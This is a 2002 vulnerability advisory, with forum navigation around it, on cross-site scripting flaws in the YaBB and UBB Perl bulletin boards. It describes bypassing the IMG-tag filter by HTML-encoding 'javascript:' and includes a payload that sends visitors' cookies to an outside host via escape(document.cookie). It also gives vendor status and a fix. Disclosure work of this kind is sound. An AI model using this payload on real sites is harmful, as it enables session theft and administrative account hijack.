smtp relay check
more info
translate to ...
[1] . [2] . [3] . [4] . [5] . [6] . [7] . [8]
EyeonSecurity Forums
elfqrin swg help net security
frame4 security hacker gurus computerglitch
gotr00t b0iler hackinthebox wand products
adv-knowledge rootshell wbglinks
Copyright © 2001,2002 eyeonsecurity Inc., All Rights Reserved. No portions of eyeonsecurity may be used without express, written permission
Advisory Title: CSS vulnerabilities in YaBB and UBB allow account hijack [Multiple Vendor]

Release Date: 08/01/2002

Application: YaBB and UBB

Platform: Any system supporting PERL.

Build -
YaBB : 1 Gold - Service Pack 1 - older versions were effected in the same way.
UBB : Ultimate Bulletin BoardTM 6.2.0 Beta Release 1.0

Severity: Malicious users can steal session cookies, allowing administrative access to the bulletin board.

[ ]

Vendor Status:
YaBB - Informed on 01 Jan 2002, should fix some time in the future ...
UBB - Informed on 08 Jan 2002, should issue a fix on 09 Jan 2002 (seems like they knew about the issue).



(extracted from

YaBB is a leading provider of FREE, downloadable Perl forums for webmasters,
with currently over 50,000 web communities using YaBB worldwide, and over 1
million registered users througout these forums! Join the messaging revolution;
keep visitors coming back....

(extracted from
The Ultimate Bulletin Board (UBB)™ is the most widely adopted Perl message board on
the Web. With a solid five year development history, and worldwide familiarity, it is easy to
use and maintain.


When a user inserts [IMG]url[/IMG], YaBB changes that text to <img src='url'>. If someone inserts javascript:alert() instead of the url, the javascript code is executed by Internet Explorer or some other web browsers. This allows stealing of cookie data and other interesting things. YaBB has filtered the javascript method, however it does not take into consideration that javascript: can be encoded using standard HTML hex and ASCII encoding. Same with UBB.
In UBB I need to encode several strings because they added checking for certain keywords such as cookie.
In my example I change javascript: to javascr&#x69;pt:

Exploit Example.

Inserting a new topic (or reply) with the following text will send visitor's cookies
to Eye on Security. The output is saved to . Cookies will
contain the password in the case of UBB and a session cookie (or encoded password) in YaBB.

-- snap YaBB --

('&#x3cimg src=&#x68;tt&#x70;://'+escape(document.cookie)+'&#x3e')

-- snap YaBB --

-- snap UBB --



-- snap UBB --


IMG tags should start with http, so that Javascript: and other goodies (play with mailto:)
are not allowed.

YaBB: [link]
My fix for YaBB: [link]


Other Bulletin Board Systems may also be vulnerable to these attacks.


The information within this document may change without notice. Use of
this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any consequences whatsoever
arising out of or in connection with the use or spread of this
information. Any use of this information lays within the user's


Please send suggestions, updates, and comments to:

Eye on Security
mail :
web :